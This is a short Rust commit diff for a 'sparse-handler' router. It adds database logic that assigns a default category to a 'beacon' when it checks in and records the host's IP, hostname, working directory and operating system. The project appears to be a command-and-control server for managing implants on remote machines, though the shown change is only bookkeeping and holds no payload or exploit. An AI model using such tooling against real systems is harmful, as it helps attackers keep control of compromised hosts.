feat: added basic command issuing

sparse-handler/src/router.rs

@@ -86,6 +86,25 @@ pub async fn handle_checkin(
                 .cwd
                 .to_str()
                 .unwrap_or("(unknown)");
+
+            let template_category = sqlx::query!(
+                "SELECT default_category FROM beacon_template WHERE template_id = ?",
+                reg.template_id
+            )
+                .fetch_optional(&state.db)
+                .await?;
+
+            if let Some(category_id) = template_category.map(|r| r.default_category) {
+                sqlx::query!(
+                    "INSERT INTO beacon_category_assignment (category_id, beacon_id)
+                    VALUES (?, ?)",
+                    category_id,
+                    reg.beacon_id
+                )
+                    .execute(&state.db)
+                    .await?;
+            }
+
             sqlx::query!(
                 r#"INSERT INTO beacon_instance
                 (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)